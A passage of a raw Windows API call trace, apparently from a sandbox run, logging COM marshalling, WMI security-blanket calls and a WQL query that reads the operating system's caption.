lpdwindex=0x18e08c | out: lpdwindex=0x18e08c) returned 0x0 [0159.730] CoGetContextToken (in: pToken=0x18e138 | out: pToken=0x18e138) returned 0x0 [0159.730] CoGetContextToken (in: pToken=0x18e098 | out: pToken=0x18e098) returned 0x0 [0159.730] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x18e168*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x18e164 | out: ppvObject=0x18e164*=0xe87110) returned 0x0 [0159.731] WbemDefPath:IUnknown:AddRef (This=0xe87110) returned 0x3 [0159.731] WbemDefPath:IUnknown:Release (This=0xe87110) returned 0x2 [0159.733] WbemDefPath:IWbemPath:SetText (This=0xe87110, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0159.735] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xe87110, puCount=0x18e9ec | out: puCount=0x18e9ec*=0x2) returned 0x0 [0159.735] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9e8*=0x0, pszText=0x0 | out: puBuffLength=0x18e9e8*=0xf, pszText=0x0) returned 0x0 [0159.736] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x18e9e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.778] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x18e894*=0x36c, lpdwindex=0x18e744 | out: lpdwindex=0x18e744) returned 0x0 [0160.839] CoGetContextToken (in: pToken=0x18e658 | out: pToken=0x18e658) returned 0x0 [0160.839] CoGetContextToken (in: pToken=0x18e600 | out: pToken=0x18e600) returned 0x0 [0160.839] IUnknown:QueryInterface (in: This=0xe60120, riid=0x6f17da0c*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e5dc | out: ppvObject=0x18e5dc*=0xe60130) returned 0x0 [0160.839] CObjectContext::ContextCallback () returned 0x0 [0160.847] IUnknown:Release (This=0xe60130) returned 0x1 [0160.848] CoUnmarshalInterface (in: pStm=0xea3460, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e64c | out: ppv=0x18e64c*=0xe8a518) returned 0x0 [0160.848] CoMarshalInterface (pStm=0xea3460, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0xe8a518, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0160.849] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e4ec | out: ppvObject=0x18e4ec*=0xe8a518) returned 0x0 [0160.849] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18e4a8 | out: ppvObject=0x18e4a8*=0x0) returned 0x80004002 [0160.849] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18e2c4 | out: ppvObject=0x18e2c4*=0x0) returned 0x80004002 [0160.850] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18e09c | out: ppvObject=0x18e09c*=0x0) returned 0x80004002 [0160.851] WbemLocator:IUnknown:AddRef (This=0xe8a518) returned 0x3 [0160.851] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18ddfc | out: ppvObject=0x18ddfc*=0x0) returned 0x80004002 [0160.851] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18ddac | out: ppvObject=0x18ddac*=0x0) returned 0x80004002 [0160.851] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ddb8 | out: ppvObject=0x18ddb8*=0xe8a474) returned 0x0 [0160.851] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xe8a474, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18ddc0 | out: pCid=0x18ddc0*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.851] WbemLocator:IUnknown:Release (This=0xe8a474) returned 0x3 [0160.851] CoGetContextToken (in: pToken=0x18de18 | out: pToken=0x18de18) returned 0x0 [0160.851] IUnknown:QueryInterface (in: This=0xe60068, riid=0x6f1638a4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ddd4 | out: ppvObject=0x18ddd4*=0xe60074) returned 0x0 [0160.851] IComThreadingInfo:GetCurrentApartmentType (in: This=0xe60074, pAptType=0x18de04 | out: pAptType=0x18de04*=3) returned 0x0 [0160.851] IUnknown:Release (This=0xe60074) returned 0x0 [0160.851] CoGetObjectContext (in: riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xe9ab7c | out: ppv=0xe9ab7c*=0xe60068) returned 0x0 [0160.851] CoGetContextToken (in: pToken=0x18e220 | out: pToken=0x18e220) returned 0x0 [0160.851] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e2ac | out: ppvObject=0x18e2ac*=0xe8a4fc) returned 0x0 [0160.851] WbemLocator:IRpcOptions:Query (in: This=0xe8a4fc, pPrx=0xe8a518, dwProperty=2, pdwValue=0x18e2b8 | out: pdwValue=0x18e2b8) returned 0x0 [0160.852] WbemLocator:IUnknown:Release (This=0xe8a4fc) returned 0x3 [0160.852] WbemLocator:IUnknown:Release (This=0xe8a518) returned 0x2 [0160.852] WbemLocator:IUnknown:Release (This=0xe8a518) returned 0x1 [0160.852] CoGetContextToken (in: pToken=0x18e598 | out: pToken=0x18e598) returned 0x0 [0160.852] WbemLocator:IUnknown:AddRef (This=0xe8a518) returned 0x2 [0160.852] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e84c | out: ppvObject=0x18e84c*=0xe8a4f4) returned 0x0 [0160.852] WbemLocator:IClientSecurity:QueryBlanket (in: This=0xe8a4f4, pProxy=0xe8a518, pAuthnSvc=0x18e89c, pAuthzSvc=0x18e898, pServerPrincName=0x18e890, pAuthnLevel=0x18e894, pImpLevel=0x18e884, pAuthInfo=0x18e888, pCapabilites=0x18e88c | out: pAuthnSvc=0x18e89c*=0xa, pAuthzSvc=0x18e898*=0x0, pServerPrincName=0x18e890, pAuthnLevel=0x18e894*=0x6, pImpLevel=0x18e884*=0x2, pAuthInfo=0x18e888, pCapabilites=0x18e88c*=0x1) returned 0x0 [0160.852] WbemLocator:IUnknown:Release (This=0xe8a4f4) returned 0x2 [0160.852] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e840 | out: ppvObject=0x18e840*=0xe8a518) returned 0x0 [0160.853] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e82c | out: ppvObject=0x18e82c*=0xe8a4f4) returned 0x0 [0160.853] WbemLocator:IClientSecurity:SetBlanket (This=0xe8a4f4, pProxy=0xe8a518, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.853] WbemLocator:IUnknown:Release (This=0xe8a4f4) returned 0x3 [0160.853] WbemLocator:IUnknown:Release (This=0xe8a518) returned 0x2 [0160.853] CoTaskMemFree (pv=0xe9d3e8) [0160.853] WbemLocator:IUnknown:Release (This=0xe8a518) returned 0x1 [0160.853] SysStringLen (param_1=0x0) returned 0x0 [0160.853] CoGetContextToken (in: pToken=0x18e808 | out: pToken=0x18e808) returned 0x0 [0160.853] CoGetContextToken (in: pToken=0x18e768 | out: pToken=0x18e768) returned 0x0 [0160.853] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a518, riid=0x18e838*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x18e834 | out: ppvObject=0x18e834*=0xea2df8) returned 0x0 [0160.854] WbemLocator:IUnknown:AddRef (This=0xea2df8) returned 0x3 [0160.854] WbemLocator:IUnknown:Release (This=0xea2df8) returned 0x2 [0160.854] CoGetContextToken (in: pToken=0x18e7c8 | out: pToken=0x18e7c8) returned 0x0 [0160.854] WbemLocator:IUnknown:AddRef (This=0xea2df8) returned 0x3 [0160.854] WbemLocator:IUnknown:QueryInterface (in: This=0xea2df8, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e84c | out: ppvObject=0x18e84c*=0xe8a4f4) returned 0x0 [0160.854] WbemLocator:IClientSecurity:QueryBlanket (in: This=0xe8a4f4, pProxy=0xea2df8, pAuthnSvc=0x18e89c, pAuthzSvc=0x18e898, pServerPrincName=0x18e890, pAuthnLevel=0x18e894, pImpLevel=0x18e884, pAuthInfo=0x18e888, pCapabilites=0x18e88c | out: pAuthnSvc=0x18e89c*=0xa, pAuthzSvc=0x18e898*=0x0, pServerPrincName=0x18e890, pAuthnLevel=0x18e894*=0x6, pImpLevel=0x18e884*=0x2, pAuthInfo=0x18e888, pCapabilites=0x18e88c*=0x1) returned 0x0 [0160.854] WbemLocator:IUnknown:Release (This=0xe8a4f4) returned 0x3 [0160.854] WbemLocator:IUnknown:QueryInterface (in: This=0xea2df8, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e840 | out: ppvObject=0x18e840*=0xe8a518) returned 0x0 [0160.855] WbemLocator:IUnknown:QueryInterface (in: This=0xea2df8, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e82c | out: ppvObject=0x18e82c*=0xe8a4f4) returned 0x0 [0160.855] WbemLocator:IClientSecurity:SetBlanket (This=0xe8a4f4, pProxy=0xea2df8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.855] WbemLocator:IUnknown:Release (This=0xe8a4f4) returned 0x4 [0160.855] WbemLocator:IUnknown:Release (This=0xe8a518) returned 0x3 [0160.855] CoTaskMemFree (pv=0xe9d8c8) [0160.855] WbemLocator:IUnknown:Release (This=0xea2df8) returned 0x2 [0160.855] SysStringLen (param_1=0x0) returned 0x0 [0160.855] CoGetContextToken (in: pToken=0x18e738 | out: pToken=0x18e738) returned 0x0 [0160.855] WbemLocator:IUnknown:AddRef (This=0xea2df8) returned 0x3 [0160.855] IWbemServices:ExecQuery (in: This=0xea2df8, strQueryLanguage="WQL", strQuery="SELECT Caption FROM Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x18e95c | out: ppEnum=0x18e95c*=0xe9ead8) returned 0x0 [0160.884] IUnknown:QueryInterface (in: This=0xe9ead8, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e7a0 | out: ppvObject=0x18e7a0*=0xe9eadc) returned 0x0 [0160.884] IClientSecurity:QueryBlanket (in: This=0xe9eadc, pProxy=0xe9ead8, pAuthnSvc=0x18e7f0, pAuthzSvc=0x18e7ec, pServerPrincName=0x18e7e4, pAuthnLevel=0x18e7e8, pImpLevel=0x18e7d8, pAuthInfo=0x18e7dc, pCapabilites=0x18e7e0 | out: pAuthnSvc=0x18e7f0*=0xa, pAuthzSvc=0x18e7ec*=0x0, pServerPrincName=0x18e7e4, pAuthnLevel=0x18e7e8*=0x6, pImpLevel=0x18e7d8*=0x2, pAuthInfo=0x18e7dc, pCapabilites=0x18e7e0*=0x1) returned 0x0 [0160.884] IUnknown:Release (This=0xe9eadc) returned 0x1 [0160.884] IUnknown:QueryInterface (in: This=0xe9ead8, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e794 | out: ppvObject=0x18e794*=0xe8a118) returned 0x0 [0160.884] IUnknown:QueryInterface (in: This=0xe9ead8, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e780 | out: ppvObject=0x18e780*=0xe9eadc) returned 0x0 [0160.885] IClientSecurity:SetBlanket (This=0xe9eadc, pProxy=0xe9ead8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.949] IUnknown:Release (This=0xe9eadc) returned 0x2 [0160.949] WbemLocator:IUnknown:Release (This=0xe8a118) returned 0x1 [0160.949] CoTaskMemFree (pv=0xe9d418) [0160.950] IUnknown:QueryInterface (in: This=0xe9ead8, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e38c | out: ppvObject=0x18e38c*=0xe8a118) returned 0x0 [0160.950] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a118, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18e348 | out: ppvObject=0x18e348*=0x0) returned 0x80004002 [0160.951] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a118, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18e164 | out: ppvObject=0x18e164*=0x0) returned 0x80004002 [0160.952] IUnknown:QueryInterface (in: This=0xe9ead8, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18df3c | out: ppvObject=0x18df3c*=0x0) returned 0x80004002 [0160.953] WbemLocator:IUnknown:AddRef (This=0xe8a118) returned 0x3 [0160.953] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a118, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18dc9c | out: ppvObject=0x18dc9c*=0x0) returned 0x80004002 [0160.953] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a118, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18dc4c | out: ppvObject=0x18dc4c*=0x0) returned 0x80004002 [0160.953] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a118, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18dc58 | out: ppvObject=0x18dc58*=0xe8a074) returned 0x0 [0160.953] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xe8a074, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18dc60 | out: pCid=0x18dc60*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.953] WbemLocator:IUnknown:Release (This=0xe8a074) returned 0x3 [0160.953] CoGetContextToken (in: pToken=0x18dcb8 | out: pToken=0x18dcb8) returned 0x0 [0160.953] CoGetContextToken (in: pToken=0x18e0c0 | out: pToken=0x18e0c0) returned 0x0 [0160.953] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a118, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e14c | out: ppvObject=0x18e14c*=0xe8a0fc) returned 0x0 [0160.953] WbemLocator:IRpcOptions:Query (in: This=0xe8a0fc, pPrx=0xe8a118, dwProperty=2, pdwValue=0x18e158 | out: pdwValue=0x18e158) returned 0x80004002 [0160.953] WbemLocator:IUnknown:Release (This=0xe8a0fc) returned 0x3 [0160.954] WbemLocator:IUnknown:Release (This=0xe8a118) returned 0x2 [0160.954] CoGetContextToken (in: pToken=0x18e6a0 | out: pToken=0x18e6a0) returned 0x0 [0160.954] CoGetContextToken (in: pToken=0x18e600 | out: pToken=0x18e600) returned 0x0 [0160.954] WbemLocator:IUnknown:QueryInterface (in: This=0xe8a118, riid=0x18e6d0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x18e6cc | out: ppvObject=0x18e6cc*=0xe9ead8) returned 0x0 [0160.954] IUnknown:AddRef (This=0xe9ead8) returned 0x4 [0160.954] IUnknown:Release (This=0xe9ead8) returned 0x3 [0160.954] IUnknown:Release (This=0xe9ead8) returned 0x2 [0160.954] WbemLocator:IUnknown:Release (This=0xea2df8) returned 0x2 [0160.954] SysStringLen (param_1=0x0) returned 0x0 [0160.954] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xe87110, puCount=0x18e9a8 | out: puCount=0x18e9a8*=0x2) returned 0x0 [0160.954] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9a4*=0x0, pszText=0x0 | out: puBuffLength=0x18e9a4*=0xf, pszText=0x0) returned 0x0 [0160.954] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9a4*=0xf, pszText="00000000000000" | out: puBuffLength=0x18e9a4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.955] CoGetContextToken (in: pToken=0x18e7f8 | out: pToken=0x18e7f8) returned 0x0 [0160.955] IUnknown:AddRef (This=0xe9ead8) returned 0x3 [0160.955] IEnumWbemClassObject:Clone (in: This=0xe9ead8, ppEnum=0x18e9b4 | out: ppEnum=0x18e9b4*=0xe9edf8) returned 0x0 [0160.957] IUnknown:QueryInterface (in: This=0xe9edf8, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e870 | out: ppvObject=0x18e870*=0xe9edfc) returned 0x0 [0160.958] IClientSecurity:QueryBlanket (in: This=0xe9edfc, pProxy=0xe9edf8, pAuthnSvc=0x18e8c0, pAuthzSvc=0x18e8bc, pServerPrincName=0x18e8b4, pAuthnLevel=0x18e8b8, pImpLevel=0x18e8a8, pAuthInfo=0x18e8ac, pCapabilites=0x18e8b0 | out: pAuthnSvc=0x18e8c0*=0xa, pAuthzSvc=0x18e8bc*=0x0, pServerPrincName=0x18e8b4, pAuthnLevel=0x18e8b8*=0x6, pImpLevel=0x18e8a8*=0x2, pAuthInfo=0x18e8ac, pCapabilites=0x18e8b0*=0x1) returned 0x0 [0160.958] IUnknown:Release (This=0xe9edfc) returned 0x1 [0160.958] IUnknown:QueryInterface (in: This=0xe9edf8, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e864 | out: ppvObject=0x18e864*=0xe8b418) returned 0x0 [0160.958] IUnknown:QueryInterface (in: This=0xe9edf8, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e850 | out: ppvObject=0x18e850*=0xe9edfc) returned 0x0 [0160.958] IClientSecurity:SetBlanket (This=0xe9edfc, pProxy=0xe9edf8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.961] IUnknown:Release (This=0xe9edfc) returned 0x2 [0160.961] WbemLocator:IUnknown:Release (This=0xe8b418) returned 0x1 [0160.961] CoTaskMemFree (pv=0xe9da78) [0160.961] IUnknown:QueryInterface (in: This=0xe9edf8, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e44c | out: ppvObject=0x18e44c*=0xe8b418) returned 0x0 [0160.961] WbemLocator:IUnknown:QueryInterface (in: This=0xe8b418, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18e408 | out: ppvObject=0x18e408*=0x0) returned 0x80004002 [0160.962] WbemLocator:IUnknown:QueryInterface (in: This=0xe8b418, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18e224 | out: ppvObject=0x18e224*=0x0) returned 0x80004002 [0160.964] IUnknown:QueryInterface (in: This=0xe9edf8, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18dffc | out: ppvObject=0x18dffc*=0x0) returned 0x80004002 [0160.965] WbemLocator:IUnknown:AddRef (This=0xe8b418) returned 0x3 [0160.965] WbemLocator:IUnknown:QueryInterface (in: This=0xe8b418, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18dd5c | out: ppvObject=0x18dd5c*=0x0) returned 0x80004002 [0160.965] WbemLocator:IUnknown:QueryInterface (in: This=0xe8b418, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18dd0c | out: ppvObject=0x18dd0c*=0x0) returned 0x80004002 [0160.965] WbemLocator:IUnknown:QueryInterface (in: This=0xe8b418, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18dd18 | out: ppvObject=0x18dd18*=0xe8b374) returned 0x0 [0160.965] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xe8b374, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18dd20 | out: pCid=0x18dd20*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.965] WbemLocator:IUnknown:Release (This=0xe8b374) returned 0x3 [0160.965] CoGetContextToken (in: pToken=0x18dd78 | out: pToken=0x18dd78) returned 0x0 [0160.965] CoGetContextToken (in: pToken=0x18e180 | out: pToken=0x18e180) returned 0x0 [0160.965] WbemLocator:IUnknown:QueryInterface (in: This=0xe8b418, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e20c | out: ppvObject=0x18e20c*=0xe8b3fc) returned 0x0 [0160.966] WbemLocator:IRpcOptions:Query (in: This=0xe8b3fc, pPrx=0xe8b418, dwProperty=2, pdwValue=0x18e218 | out: pdwValue=0x18e218) returned 0x80004002 [0160.966] 